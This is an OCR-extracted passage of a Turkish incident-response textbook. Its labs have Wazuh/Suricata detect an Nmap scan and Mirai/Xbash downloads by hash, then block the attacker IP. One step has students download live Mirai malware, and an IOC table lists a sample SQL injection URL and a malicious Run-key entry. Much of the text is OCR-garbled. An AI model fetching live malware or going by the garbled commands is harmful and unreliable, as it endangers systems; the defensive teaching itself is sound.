Ag saldirilari, kurumlarin iletisim sistemlerine yonelik en yaygin tehdit tiirlerinden biridir. Bu saldirilar
genellikle ag trafigini maniplile ederek, hizmetleri aksatarak veya yetkisiz erisim saglayarak sistem
glvenligini tehlikeye atar. Etkili bir midahale sireci, saldirinin tlriini hizlica tespit etmek, yayitlimini
durdurmak ve gerekli giivenlik 6nlemlerini kalici olarak devreye almakla baslar.

Sik karsilasilan ag saldiri tiirleri su sekildedir:

DDoS (Distributed Denial of Service): Birden fazla kaynaktan hedefe asiri trafik génderilerek hizmetin
kullanilamaz hale getirilmesidir.

Man-in-the-Middle (MitM): iki taraf arasindaki veri iletisiminin gizlice dinlenmesi veya degistiriimesidir.

Port Tarama (Port Scanning): Saldirganin sistemde acik portlari ve potansiyel zafiyetleri tespit etmek
amaclyla yaptigi taramalardir.

ARP Zehirleme (ARP Spoofing): Yerel agda sahte ARP yanitlari gonderilerek trafik yonlendirme
maniplilasyonu yapilmasidir.

DNS Zehirleme (DNS Poisoning): DNS kayitlarinin degistirilerek kullanicilarin sahte web sitelerine
yonlendirilmesidir.

IP Sahteciligi (IP Spoofing): Sahte IP adresleri kullanilarak kimlik gizlenmesi veya saldiri
gerceklestirilmesidir.

Ag saldirilarinin tespitinde genellikle su yontemler uygulanir:

Ag izleme Sistemleri (NIDS/NIPS): Suricata, Snort gibi ag saldirilarini tespit eden sistemler ile siipheli
trafik hareketlerini belirler.

SIEM Platformlari: Wazuh, Splunk veya ELK Stack ile log korelasyonu yaparak saldiri belirtilerini ortaya
cikarir.

Trafik Analizi: Wireshark veya tcpdump ile paket seviyesinde inceleme yapar.

Anomali Tespiti: Normal trafik profiline gore olagan disi artis veya farkli IP’lerden gelen tekrarli istekleri
belirler.

Ag saldirilarini 6nlemek i¢in genellikle su yontemler uygulanir:

1. Hizh izolasyon
« Saldirinin geldigi IP adreslerinin gecici olarak firewall veya IDS/IPS lizerinden engellenmesi

« Gerekirse saldiri altindaki sistemin agdan izole edilmesi
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2. Kural Giincellemeleri

IDS/IPS imza veri tabanlarinin giincel tutulmasi

Wazuh local_rules.xml veya Suricata kural setleri ile 6zel imzalar eklenmesi
Ag Segmentasyonu

Kritik sistemleri ayri VLAN’lar Uzerinde ¢alistirarak saldirinin yayillmasinin énlenmesi
Proaktif izleme

Trafik esik degerleri belirleyerek normal disi trafige karsi otomatik uyari mekanizmalarinin kurulmasi
Kalici Onlemler

Gucla erisim kontrol listelerinin (ACL) olusturulmasi

Gereksiz portlarin kapatilmasi ve yalnizca gerekli servislerin erisime agilmasi

Guvenlik duvari (firewall) politikalarinin diizenli olarak gézden gegirilmesi

Ag saldirilarina midahale yalnizca saldiri aninda yapilan islemlerle sinirli degildir.
Etkili bir strateji, strekli izleme, dizenli testler (penetrasyon testi) ve personel
farkindalik egitimleriyle desteklenmelidir.

4. Uygulama

192.168.1.100 IP adresine sahip Kali Linux kullanan saldirgan, 192.168.1.27 IP adresli hedef cihaza bilgi
toplama amaciyla Nmap port taramasi gerceklestirmektedir. Buna gore Port Scanning (Port Tarama)
saldirisinin Wazuh SIEM tarafindan tespit edilerek gegici ve kalict miidahaleyi saglama islemini verilen
adimlar dogrultusunda gerceklestiriniz.

Lokal agda IDS olarak Suricata kullaniimaktadir ve loglari Wazuh SIEM’e
yonlendirilmistir.

1. Adim: Kali Linux isletim sistemini kullanarak saldiriy1 simule ediniz (Gorsel 4.14).

Jhome/kali

Gorsel 4.14: Hedefe yonelik Nmap taramasinin gergeklestirilmesi

SIBER OLAYLARA MUDAHALE @




i@ 4. OGRENME BiRIM

2. Adim: Gergeklestirilen Nmap taramasinin uyarisini Wazuh Gzerinde gorintileyiniz (Gorsel 4.15).

€« > ¢ O Givens degll

Time 4

Apr 16, 2025 @
02:08.15.923

Apt 16 2025 @
0020815 867

Apr 16, 2025 @
0207.00.079
Apr 16, 2025 @
02.07.00.036
Apr 16, 2025 @
1206 53 436
Apr 16, 2025 @
02 05:24.542

Apt 16, 2005 @
0020418 563

Api 16, 2025
02 04:18.255

Apr 16, 2025 &
0204.17.326

Apr 16, 2025 @
00202 20 356

Rows per page: 10 ~

0O wazuh. v

e/ 192.168.1.146/

Modules winsur

Techniquas)

Tio78

078

Tio78

To7s

Security events @

Tactie(s)

Dedense Evasion, Porsistence, Pridiege Escatation,
Initial ACCEss

Defense Evason, Persislence, Prieiege Escalation,
Initial Access

Dafiontse Evassion, Persistence, Priviege Escatation
Initial Access

Defense Evasion, Persislence, Prisiege Escalation
Initial Access

o g © O & @

a
Deseripoon Lavel Fuste ID
Senvice startup type was changed 3 61104
Windows logon success. 3 60108
Windows logon success. 3 6006
Summary event of the report's signatures. 4 80608
Windows logon success 3 6006
Suricata Alert - ET SCAN Possible Nmap User-Agent Obsarved 3 BEsM
Summary evenl of the repor's signatures. 4 BOG08
Windows Iogon success. 3 80106
Windows appheation efror evenl ] 60602
Senice siarup type was changed 3 81104
€1 2 34 & 129

Gorsel 4.15: Nmap taramasinin alarm gorintisi

3. Adim: Alarmin detaylarini inceleyiniz ve saldiri hakkinda bilgi toplayiniz.

4. Adim: Saldiriyi diizenleyen kaynak IP adresi ve saldiriile ilgili ihtiya¢ duyacaginiz ipuglarini elde ediniz
(Gorsel 4.16).

Modules winsur

Security events @

IQ‘J

data.

alert.signature

ET SCAN Possible Nmap User-Agent Observed I

@ data.alert.signature_id 20824364
@ data.app_proto http
I @ data.dest_ip 192.168.1.27
@ data.dest_port 8443
@ data.direction to_server
@ data.event_type alert
@ data.flow.bytes_toclient 348
@ data.flow.bytes_toserver 706
@ data.flow.dest_ip 162.168.1.27
@ data.flow.dest_port 8443
@ data.flow.pkts_toclient 6
@ data.flow.pkts_toserver 6

data.

flow.src_ip

192.168.1.100

data.

flow.src_port
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Wazuh Agent bir Linux sunucuda tutuluyorsa besinci, Windows isletim sisteminde
tutuluyorsa altinci adimi uygulayiniz.

5. Adim: Wazuh’un Active Response 0Ozelligiyle saldirgan IP adresini 60 dakika otomatik olarak
engelleyip iptables -A INPUT -s 192.168.1.100 -j DROP komutunu Linux isletim sisteminde giriniz ve
Gorsel 4.17’deki tanimi /var/ossec/etc/active-response/active-response.conf dosyasina ekleyiniz.
<active-response>
<command>firewall-drop</command>
<location>local</location>
<rules id>2024364</rules id>

<timeout>3600</timeout><!-— 60 dakika -->
</active-response>

Gorsel 4.17: Wazuh Active Response

6. Adim: Kalici bir sekilde saldirgan IP adresini engellemek igin su komutu PowerShell’e yonetici haklari
ile uygulayiniz:

New-NetFirewallRule -DisplayName “Block IP 192.168.1.100” -Direction Inbound -RemoteAddress
192.168.1.100 -Action Block

DDoS saldirisi gerceklestiginde Wazuh’un alarm lretmesini saglayiniz. Bu alarma karsi
otomatik veya manuel 6nlem alan uygulamayi gergeklestiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
CGalismanizi yaparken degerlendirme o6lgttlerini dikkate aliniz.

Man-in-the-Middle saldirisi gergeklesti§inde Wazuh’un alarm {iretmesini saglayiniz. Bu
alarma karsi otomatik veya manuel 6nlem alan uygulamay:i gerceklestiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olgutlerini dikkate aliniz.

4.2.3. Kotii Amacgh Yaziim (Malware) Saldirilarina Karsi Miidahale

Malware (zararli yazihim); bilgisayar sistemlerine zarar vermek, bilgileri calmak veya sistemi kontrol
altina almak amaciyla gelistirilen kot niyetli yazilimlardir. Virisler, solucanlar (worm), Truva atlari
(trojan), casus yazihmlar (spyware), fidye yazihmlari (ransomware) ve reklam yazilimlari (adware)
malware tirlerine ornektir. Malware saldirilari, kurum ve bireylerin bilgi glvenligini tehdit eder ve
sistemlerin isleyisini aksatabilir.
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B

K6t amagli yazilim saldirilarin tespitinde genellikle su yontemler uygulanir:

Antiviriis ve Antimalware Yazilimlari: Gergek zamanli tarama ve diizenli sistem taramalari ile bilinen
zararlilar tespit edilir.

Davranis Analizi: Sistem davranislarindaki olagan disi aktiviteler (anormal dosya erisimleri, yiksek CPU
kullanimi ve bilinmeyen siiregler) izlenir.

Log Analizi: Sistem, ag ve uygulama loglari incelenerek siipheli aktiviteler belirlenir.

Ag Trafik Analizi: Anormal veya yetkisiz disariya veri aktarimi ve beklenmeyen ag baglantilari tespit
edilir.

Sandbox ve Tehdit istihbarati: Siipheli dosyalar izole ortamda calistirilarak zararli olup olmadigi analiz
edilir.

Kot amacli yazilim saldirilarini 6nlemek icin genellikle su yontemler uygulanir:

Giincel Antiviriis Kullanimi: Givenilir antiviriis programlarinin siirekli glincel tutulmasi ve tam tarama
yapilmasidir.

Sistem ve Yazilim Giincellemeleri: isletim sistemi ve uygulamalarin giivenlik yamalarinin diizenli olarak
uygulanmasidir.

Giivenlik Duvarni ve Ag Korumasi: internet trafiginin kontrol edilmesi, siipheli baglantilarin
engellenmesidir.

Egitim ve Farkindalik: Kullanicilarin bilinglendirilmesi, 6zellikle phishing ve zararli mail eklerinden
kacinmalari icin egitim verilmesidir.

Erisim Kontrolleri: Gereksiz yetkilerin kaldirilmasi, giicli parola politikalar ve g¢ok faktorli kimlik
dogrulama uygulanmasidir.

Diizenli Yedekleme: Kritik verilerin dizenli yedeklenmesi, olasi bir saldiri sonrasi veri kaybinin
onlenmesidir.

Kot amacgli yazilim saldirilarina midahale i¢in su adimlar uygulanir:

Olay Tespiti ve izolasyon: Zararl yazilim tespit edildiginde etkilenen sistem, agdan izole edilerek
yayllmanin 6niine gegilir.

Analiz ve Siniflandirma: Malware tiir(i ve saldirinin kapsami analiz edilir. Bulasan dosyalar, sirecler ve
zarar verilen sistem bilesenleri belirlenir.

Temizleme ve Kaldirma: Antivirlis ve 0zel malware temizleme araglari kullanilarak zararh yazilim
sistemden temizlenir. Gerekirse sistem yeniden kurulur.

lyilestirme ve Giiglendirme: Sistem yamalari uygulanir, giivenlik énlemleri artirilir ve zayif noktalar
giderilir.

Olay Raporlama ve Kayit: Saldiri ile ilgili tim veriler kaydedilir, analiz edilir ve gerektiginde ilgili
kurumlara bildirilir.

Kullanici Egitimi ve Farkindalik Artirma: Benzer saldirilarin 6niine gegmek igin galisanlar ve kullanicilar
bilgilendirilir.
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Windows Agent ylklG cihazda, indirilenler klasériine zararli yazilim indirildiginde Wazuh’un alarm
Uretmesinive otomatik miidahale gerceklestirmesinisaglayan uygulamayiverilen adimlar dogrultusunda
gerceklestiriniz.

Malware tespitinde kullanilacak kotli amacl yazilmin hash degerlerinin listelenmesi
gerekmektedir. Uygulamada mirai ve Xbash zararli yazilimlari kullanilacaktir. Hashler,
internette gesitli glivenilir kaynaklardan temin edilebilir.

1. Adim: Hash listesini olusturmak icin terminalde su komutu kullanarak dosyayi aginiz:
sudo nano /var/ossec/etc/lists/malware-hashes

2. Adim: Dosyanin icine nano metin editoriind kullanilarak su formatta hash degerleri ve aciklamalari
ekleyiniz:

e0ec2cd43f71c80d42cd7b0f17802c73:mirai
55142f1d393c5ba7405239f232a6c059:Xbash

Her satirda bir hash ve ardindan iki nokta isareti (:) ile ayrilmis malware ismi
yazilmahdir. Wazuh Manager yaziliminda CDS listesi girebilmek igin ayrica bir alan
da bulunmaktadir. istendigi takdirde komutla girmek yerine gérsel olarak da Wazuh
yeni stirimlerinde database hash ekleme islemi yapilabilmektedir. Malware hash
listesinin Wazuh tarafindan kullanilabilmesi icin yapilandirma dosyasina eklenmesi
gerekir.

3. Adim: Yapilandirma dosyasini agmak i¢in terminalde su komutu kullaniniz:
sudo nano /var/ossec/etc/ossec.conf
4. Adim: Dosyadaki <ruleset> etiketinin icine asagidaki satiri ekleyiniz:

<list>etc/lists/malware-hashes</list>

Wazuh’un malware hash listesini kullanarak tespit yapabilmesi icin 6zel bir kural
tanimlanmasi gerekmektedir.

5. Adim: Terminalde su komutla yerel kural dosyasini aginiz:

sudo nano /var/ossec/etc/rules/local_rules.xml
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6. Adim: Dosyanin igine su kurali ekleyiniz:

<group name="malware,”>

<rule id="110002" level="13">
<if_sid>554, 550</if_sid>
<list field="md5" lookup="match_key">etc/lists/malware-hashes</list>
<description>TEGM UYARL...CDB listesinden Malware Tespit Edildi: $(file)</description>
<mitre>

<id>T1204.002</id>

</mitre>

</rule>

</group>

7. Adim: Dosyay! kaydedip kapattiktan sonra su komutu kullanarak Wazuh servisini yeniden baslatiniz:
sudo systemctl restart wazuh-manager

8. Adim: Windows Uzerinde Wazuh Agent’in dosya bitiinlGgi kontroli (syscheck) 6zelligini aktif etmek
ve belirli dizini izlemek icin ossec.conf dosyasini glincelleyiniz.

9. Adim: ossec.conf dosyasini yonetici yetkisiyle uygun bir metin dlizenleyiciile aginiz (6rnegin Notepad)
ve su yapilandirma komutlarini giriniz:

<ossec_config>
<syscheck>
<disabled>no</disabled>
<directories check_all="yes" realtime="yes”>C:\Users\murat\Downloads</directories>
</syscheck>
</ossec_config>

Kirmizi ile belirtilen alana kendi indirilenler klasériiniziin yolunu veya dosya
bitunliglu kontrol yaptiracaginiz dosya yolunu giriniz.

10. Adim: Degisiklikleri kaydediniz ve Windows agent servisini su komutlari PowerShell’de kullanarak
yeniden baslatiniz:

Restart-Service wazuh-agent

11. Adim: Mirai k6t amagli yazimini internetten bularak indiriniz.
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12. Adim: Mirai malware tespitini anhk olarak Wazuh yazilimda gorintileyiniz (Gorsel 4.18).

= precans =
= (O wazuh. ~ | Wedies | LAFToPSTUES. 18 i @
Time - Techniquels) Tacmeis) Descrippon Lavel Ruts ID
May 6, 2025 @ MTES 21 COB L Tosgil Edich
? 182514 065 T1204.002 Exacution & 8 (2) 13 10002
May 6, 2025 @ E TE COB L Tospil Edich
P eamees i cusersmuratidownloads e (2) 13 ngooz
May 6, 2025 @ ’
s TI070.004  T1485 Defense Evasion, Impact Fio deloted 7 553
May 6. 2025 @ cosL Taspit Edick
Y iezmuan T Rl & iy 13 110002
May 6. 2025 @
3 e T1070.004 T1485 Detensa Evasion, Impact Fie deieted 7 553
w fRADE T1204.002 Execution MIE o8 Ly iy Tk ENS 3 110002
May 6, 2025 Defanse Evasion, Persistence. Privilage Escalation,
7 tg205151 T078 Iriis Aconss Viinedoues logan success 3 60106
May &, 2025 & Detanse Evasion, Persistence, Privilege Escatation,
* 182051500 TI078 |l A Windows logon Sucoess. 3 BOIDG
May 6, 2025 & Datonse Evasion, Parsistence, Prviloge Escatation,
i TI078 kA Windows logon success, 3 50106
May 6, 2025 @ Detonse Evasion, Persistance, Predloge Escalation,
> BoTaTEE T1078 ritied Windows logon success. 3 BO106
Rows per page: 10 - €1 23458 25
Gorsel 4.18: K6t amach yazilim uyarisi
13. Adim: Alarmin detaylarini inceleyiniz (Gorsel 4.19).
= (O wazuh. “ | bodies = LAPTOPSTUED.. | Seciiyevenis ® a
] 1746544604 1382791
inpudtypa g
| o o |
MANAGOT NAme mesekhsos)
l d description MTEGM LIVARI. COB Listosinden Matwaro Tespil Edidi ¢ ustrsimuratidonriioadsimeen (2) I
e Tredimes 4
[ FLiE groups. mahware I
e i 10002
ol ol 13
ruli il trus
I Futie metre i T1204 002 I
T My (Rt Executon
e et fochnigue Maboous File
syschock aitrs_afler ARGHIVE
syscheck changed_aliributes. mtime
syscheck event modfed
Iwmm_aﬂw elec2e4 T 1CB0M2eATRON TB02CTS I
syschack mode reatime
syscheck mtime_after H025.05-06T15 2315

Gorsel 4.19: Kot amagli yazilim uyari detaylari
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14. Adim: Wazuh manager lGzerinde active-response boliimiine, Mirai hash tespit edildiginde otomatik
midahale icin su komutu ekleyiniz:

<active-response>
<command>windows-firewall-drop</command>
<location>agent</location>
<rules_id>110002</rules_id> <!-- Mirai tespit kural ID’si -->
<timeout>600</timeout>

</active-response>

15. Adim: Windows-firewall-drop icin séyle bir PowerShell scripti olusturunuz:

New-NetFirewallRule -DisplayName “Wazuh Block Malicious IP” -Direction Inbound -Action Block
-RemoteAddress Sip

Wazuh, aktif response tetiklendiginde saldirgan IP’yi Sip degiskeni ile bu komutla
engeller.

Sira Sizde

Emotet kotl amach yaziliminin bilinen MD5 hashini Wazuh Manager’in gorsel paneli
Uzerinden hash listesine ekleyerek, bu dosya indirildiginde alarm verilmesini saglayiniz
ve alarm durumunda otomatik olarak miidahale edecek komutlari yapan uygulamayi
gerceklestiniz.

4.3. OLAY SONRASI GERCEKLESTIRILECEK iSLEMLER

Bir siber olayin basariyla tespit edilip durdurulmasi siirecin sonu degil aslinda kritik bir baslangictir. Olay
sonrasi gerceklestirilen islemler hem mevcut saldirinin etkilerini en aza indirmeyi hem de gelecekte
benzer tehditlere karsi kurumu daha direncli hdle getirmeyi amaglar. Bu asamada uluslararasi kabul
gormis cergeveler olan SANS Olay Miidahale Modeli ve NIST Siber Giivenlik Cercevesi yol gosterici
olurken saldirganlarin izledigi yontemleri anlamak icin TTP (Tactics, Techniques, Procedures) yaklasimi
ve MITRE ATT&CK matrisi kullanilir. Ayrica olay sirasinda ve sonrasinda elde edilen 10C bilgileri, saldirinin
kaynagini dogrulamak ve takibini yapmak agisindan bliyik 6nem tasir. Bu baglamda olay sonrasi sireg;
analiz ve raporlama, iyilestirme adimlarinin uygulanmasi, giivenlik politikalarinin glincellenmesi,
kullanici ve yonetici bilgilendirmesi ile saldiri takibi gibi kritik uygulamalardan olusur.

4.3.1. Siber Olayin Analizi ve inceleme Raporu Hazirlanmasi

Bir siber olay yasandiginda saldirinin kaynagini, yontemini ve etkilerini dogru analiz etmek kurum
glvenligi acisindan hayati 6nem tasir. Bu siirecte temel amag; saldirganin hangi adimlar izledigini
ortaya ¢ikarmak, olayin kuruma olan etkisini degerlendirmek ve elde edilen bulgulari resm1 bir rapor
haline getirmektir.
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Uluslararasi kabul gormiis SANS Olay Miidahale Modeli ve NIST Siber Giivenlik Cergevesi, analiz
asamasinin sistematik bicimde ylratilmesi gerektigini vurgular. Bu ¢ergevelere gore olay analizi sadece
teknik log incelemesi degil ayni zamanda bir 6grenme ve dokiimantasyon siirecidir.

Olay analizi yapilirken en 6nemli kavramlardan biri IOC’dir. IOC; saldiriya ait IP adresi, domain adi, zararli
dosya hash degeri, sipheli e-posta basliklari gibi saldiriyi isaret eden izleri ifade eder. Bu gostergeler
sayesinde saldirinin hangi sistemleri etkiledigi, ne zaman basladigl ve ne kadar yayildig belirlenebilir.
Bununla birlikte sadece IOC’ler yeterli degildir. Daha kapsamli bir analizigin saldirganlarin TTP bilgilerine
ihtiya¢c duyulur. TTP’ler, saldirganlarin kullandigi yéntemlerin bitiiniini ifade eder. Ornegin MITRE
ATT&CK matrisi, saldirganlarin izledigi taktik ve teknikleri sistematik bicimde ortaya koyar. Analist,
saldirinin MITRE ATT&CK (izerinde hangi tekniklere karsilik geldigini isaretleyerek saldirinin yontemini
daha iyi siniflandirabilir.

Turkiye 6zelinde ise USOM, bu sirecte dnemli bir aktordir. USOM, kurum ve kuruluslardan gelen olay
raporlarini toplayarak ulusal 6lcekte saldiri egilimlerini belirler, zararli baglantilari ve 10C bilgilerini
paylasir. Boylece kurumlar sadece kendi sistemleri icin degil tilke genelinde gorilen tehditler hakkinda
da bilgi sahibi olur. Olay analizi ve inceleme raporlarinda USOM’a yapilan bildirimler ve USOM’un
yvayimladigi glivenlik duyurulari dikkate alinmalidir.

Hazirlanan inceleme raporu hem teknik hem de yonetsel bir belgedir. Teknik ekipler icin loglar, 10C
listeleri, kullanilan TTP’ler ve saldiri senaryosu detaylandirilirken Ust yonetim icin 6zet, etkiler ve
alinmasi gereken onlemler aktarilir. Boylece rapor sadece bir dokiiman degil ayni zamanda kurumsal
hafizaya katki saglayan stratejik bir kaynaga dénisir.

Siber giivenlik olay raporlari; yoneticilerin, karar vericilerin ve ilgili paydaslarin bir olayin seyrini ve
etkilerini net bir sekilde kavramasina yardimci olan kritik belgelerdir. Bu raporlarda genellikle olayin
Ozeti, yapilan analizler ve benzer tehditlerin gelecekte tekrarlanmamasi icin dnerilen 6énlemler yer alir.
Etkili bir rapor; kim, ne, nerede, ne zaman ve neden sorularina yanit verecek sekilde hazirlanmahdir.
Raporda yer alacak ayrinti diizeyi, genellikle CISO’nun veya Glivenlik Operasyon Merkezi (SOC) ekibinin
kararina baghdir.

4.3.1.1. Siber Giivenlik Olay Raporu Nasil Yazilir?

Siber glivenlik olaylari sadece teknik agidan degil ayni zamanda is strekliligi ve kurumsal itibar agisindan
da kritik sonuglar dogurabilir. Bu nedenle olay sonrasinda hazirlanacak raporlar, kurumun hem olaydan
ders cikarmasi hem de gelecekte benzer tehditlere karsi daha hazirlikli hale gelmesi acisindan biyk
onem tasir.

Uluslararasi standart kuruluslari olan SANS Enstitiisii ve NIST tarafindan olay raporlamaya yonelik
cesitli cergeveler ve yontemler gelistirilmistir. Bunun yani sira bircok kurum, kendi BT veya bilgi glivenligi
departmanlarinin ihtiyaglarina uygun 6zel raporlama formatlari da olusturabilir.

Hazirlanan sablonlar, raporlama siirecinde atilacak adimlari sistematik hale getirir. Bu sablonlar
genellikle glivenlik araglarindan alinan veriler, olayin teknik detaylari, is birimleri izerindeki etkiler ve
iyilestirme onerileri icin ayri alanlar icerir. Ayrica kurumun CISO (Chief Information Security Officer) ve
diger yoneticilerinin ihtiya¢ duyacagi ek bilgilere de yer verilmelidir. Bir siber glivenlik olayi raporunun
hazirlanma sireci genellikle su adimlari igerir:

1. ilk Bilgi Toplama: Olayin dogrudan iginde bulunan calisanlarla gériisiilerek onlarin gézlemleri ve

teknik bilgileri alinir.
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2. Veri Analizi: Olay 6ncesi log kayitlari, glivenlik izleme sistemleri, BAS (Breach and Attack Simulation)
ciktilari ve SIEM raporlari incelenir. Olayin ne sekilde tespit edildigi, hangi asamada kontrol altina
alindigi ve etkisiz hale getirilmesi i¢in hangi adimlarin uygulandig belirlenir.

3. is Perspektifiyle Degerlendirme: Olaydan etkilenen is birimleri, tist yonetim ve BT liderleriyle
gorisilerek saldirinin kurumsal slirece etkisi degerlendirilir.

4. Format Se¢imi ve Taslak Hazirlama: Rapor, kurumun i¢ politikalari dogrultusunda veya uluslararasi
bir sablon kullanilarak hazirlanabilir. Taslak asamasinda kesin bilgiler aktarilir, yoruma dayali
cikarimlardan kaginihr.

5. Gozden Gegirme: Hazirlanan taslak rapor CISO, CIO ve ilgili yoneticilere sunulur. Gelen geri
bildirimlere gore gerekli diizenlemeler yapilir.

6. Son Halin Paylasilmasi: Nihai rapor, belirlenen resmi kanallar lzerinden dagitilir. Eger raporda
iyilestirme Onerileri yer aliyorsa bunlarin uygulanmasi igin zaman gizelgesi belirtilmeli ve siirecin
takip edilmesi saglanmalidir.

7. Takip ve Giincelleme: Onerilen &nlemlerin uygulanip uygulanmadigini degerlendirmek {izere belirli
araliklarla toplantilar diizenlenir ve gerekirse ek rapor hazirlanir.

Siber olay raporunda yanitlanmasi gereken temel sorular Tablo 4.5’te gosterilmektedir.

Tablo 4.5: Siber Olay Raporu iceriginde Cevaplanmasi Gereken Sorular

“ Rapor iceriginde Yer Almasi Gereken Agiklamalar

Olayin acik ve net tanimi yapilir (6rnegin bir fidye yazilimi saldirisi

Gergekte ne oldu? . . .
ile dosyalarin sifrelenmesi).

Saldirinin basladig, fark edildigi ve raporlandigi kesin tarih ve saat
belirtilir.

SOC (Security Operations Center) ekibinde yer alan uzmanlar,
sistem yoneticileri veya dis destek ekipleri listelenir.

Olay ne zaman gergeklesti?

Olaya kimler miidahale etti?

Olayin nasil tespit edildigi, zararin yayillmasini 6nlemek i¢in alinan

ilk tepki neydi?
epki neydi ilk aksiyonlar agiklanir.

Log kayitlari, IDS/IPS, SIEM gibi gtivenlik sistemlerinden elde edilen

ilk degerlendirme nasil yapildi? i .
ilk bulgular 6zetlenir.

Sunucular, istemci bilgisayarlar, depolama birimleri, ag cihazlari

Hangi sistemler etkilendi? ) . ;
veya servisler listelenir.

Ornegin bazi dosyalar silindi, veriler bozuldu veya fidye yazilimi
tarafindan kilitlendi.

is stireci Gizerindeki etkiler agiklanir (6rnegin tiretim durdu, misteri
hizmetleri aksadi, veri kaybi yasandi vb.).

Etkilenen varliklara ne oldu?

Kurulus nasil etkilendi?

Saldirganlar tarafindan glivenlik aciginin veya yanlis

Saldiri neden gergeklesti?
gere : yapilandirmanin nasil istismar edildigi aciklanir.

Miidahale kapsaminda hangi Olayin sinirlanmasi, karantinaya alinmasi, sanal ortamda analiz

adimlar atildi? edilmesi ve azaltma adimlari detaylandirilir.
Alinan aksiyonlarin sonuglari Uygulanan 6nlemlerin basarili olup olmadigi, basarisizsa hangi
ne oldu? alternatif yontemlerin kullanildigi rapor edilir.
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“ Rapor igeriginde Yer Almasi Gereken Agiklamalar

Normal operasyonlara dons siiresi, kullanilan kurtarma planlari
ve alternatif yontemler aciklanir.

Kurum nasil toparlandi?

Guvenlik agiklari, saldiri simulasyonlari ve penetrasyon

Olay nasil 6nlenebilirdi? . . . B . .
testlerinden elde edilen verilerle dnleyici analiz yapilir.

Gelecekte benzer olaylarin Risk analizi, zafiyet yonetimi, glivenlik glincellemeleri ve farkindalik
onlenmesi icin neler yapilmahi? | egitimleri 6nerilir.

Daha gigli 6nleme tedbirleri gelistirmek, sistemleri giincellemek

Bu olaydan hangi dersler
Y e ve ¢alisan farkindaligini artirmak igin elde edilen ek bulgular

ikarildi?
g belirtilir.
Alinan aksiyonlarin sonuglari Uygulanan dnlemlerin basarili olup olmadigi, basarisizsa hangi
neler oldu? alternatif yontemlerin kullanildigi rapor edilir.

Siber glivenlik olay raporu hazirlamak igin gerekli verileri toplamak énemli olsa da asil 6ncelik basarih
bir saldirinin gerceklesmesini engellemektir. USOM’a gore kurumda bir siber olay yasanmadan 6nce su
sorularin cevaplanabilmesi, olasi bir siber olay sonucunda olay miidahale siireglerinin iyi yénetilmesine
imkan verecektir:

« Var olan sistemler giincel mi?

« Varlk envanter listesi var mi?

« Sistemlerde ¢alisan tim yazilimlar biliniyor mu?

« Gilincel tehdit degerlendirmesi yapildi mi?

« Guvenlik agisindan zayif noktalarinizi biliyor musunuz?

« Bu zayifliklari kapatmak icin plan yapildi mi?

« Olasi bir glivenlik ihlalinde yapilmasi gerekenler planl mi?

« Yetkili personel giivenlik farkindaligina sahip mi?

« Calisanlar sosyal mihendislik ataklarini veya oltalama saldirilarini anlayabilirler mi?

 Bilinen zararl web sitelerine erisim kisitlandi mi?

« Guvenlik duvari yapilandirildi mi?

« Guvenlik cihazlari izleniyor mu?

« Veriler yedekleniyor mu?

« Sistem devre disi kaldigl zaman yedek sistem var mi?

« Siber olay mudahale plani var mi?

Siber olaylarin etkili bir sekilde incelenebilmesi icin 10C’ler kritik bir rol oynar. IOC’ler, saldirganlarin
sistemlerde biraktigiizleritemsil eder ve bir saldirinin tespit edilmesini, siniflandiriimasini ve 6nlenmesini

saglar. Ornegin stipheli IP adresleri, zararli URL ler, dosya hashleri veya sahte e-posta baslklar giivenlik
ekiplerinin olayin kaynagini ve kapsamini hizli bir sekilde belirlemesine yardimci olur.
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Analiz surecinde 10C’ler kullanilarak su islemler yapilir:

« Saldirinin hangi sistemleri etkiledigi ve ne kadar yayildiginin tespiti

 Zararli aktivitelerin log ve trafik kayitlariyla karsilastiriimasi

« Saldirganlarin kullandigi yontemlerin ve tekniklerin (TTP) belirlenmesi

« Kurumun glivenlik dnlemlerinin glincellenmesi ve gelecekte benzer saldirilarin 6nlenmesi

USOM gibi ulusal siber olaylara midahale merkezleri, paylasilan 10C bilgilerini kullanarak kurumlari
bilgilendirir ve saldiri egilimlerini takip eder (Tablo 4.6). Bu sayede sadece bireysel olaylar degil ulusal
Olcekteki tehditler de erken asamada analiz edilip dnlemler alinabilir.

Tablo 4.6: Siber Olay Raporu iceriginde Cevaplanmasi Gereken Sorular

10C Tiirii Ornek Deger/Gostergeler m USOM ile iliskilendirme

Saldirganin baglant

USOM tarafindan

IP Adresi 185.123.45.67 . . yayimlanan zararli IP
kurdugu IP adresi . .
listeleriyle karsilastirilir.
Kullanicilari sahte USOM, benzer alan
Domain Adi malicious-update[.Jcom glncelleme sitesine adlarini duyurularinda
yonlendiren alan adi paylasir.
USOM giinlik 10C
http://example[.]com/ SQL Injection saldirisi . & )
URL . L bultenlerinde zararli URL
login.php?id=inject yapan zararl URL o
bilgilerini paylasir.
USOM hash bilgilerini
Dosya Hash d41d8cd98f00b204 indirilen zararli dosyanin  10C paylasim
(MD5/SHA256) €9800998ecf8427e benzersiz kimligi platformlari tizerinden

kurumlarla paylasir.

E-Posta Bashgi/

update@secure-mail[.]Jorg

Kimlik avi saldirisinda
kullanilan sahte e-posta

USOM oltalama
saldirilarina iliskin 10C

Gonderici . bilgilerini diizenli olarak
adresi
yayimlar.
USOM analiz
Registry HKCU\Software\Microsoft\ Zararli yazimin kalicihk
. i . . .| raporlarinda kahcihk
Anahtari Windows\CurrentVersion\ | icin ekledigi kayit defteri B L
. . . . yontemleri ile ilgili
(Windows) Run)\evil.exe degeri

10C’leri paylasabilir.
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6. Uygulama

Bir web sunucusunda SQL Injection saldirisi tespit edilmistir. Olayin analizini ve bir inceleme raporunun
hazirlandig uygulamayi verilen adimlar dogrultusunda gerceklestiriniz.

1. Adim: Wazuh ile SQLi saldirisinin tespitini gerceklestiriniz (Gorsel 4.20).

Time - rule.description rule level rule.id

I 3 Apr 28, 20825 © 15:82:25.946 Suricata: Alert - [WIN] SQL Injection Tespit Edildi I 3 86681
3 Apr 29, 2025 @ 15:01:29.555 Suricata: Alert - ET SCAN Possible Hmap User-Agent Observed 3 ase|

5 Apr 28, 2025 & 15:81:29.584 Suricata: Alert - ET SCAN Possible Mmap User-Agent Observed 3 86681

» Apr 29, 2025 @ 15:01:29.583 Suricata: Alert - ET SCAN Possible Hmap User-Agent Observed 3 86681

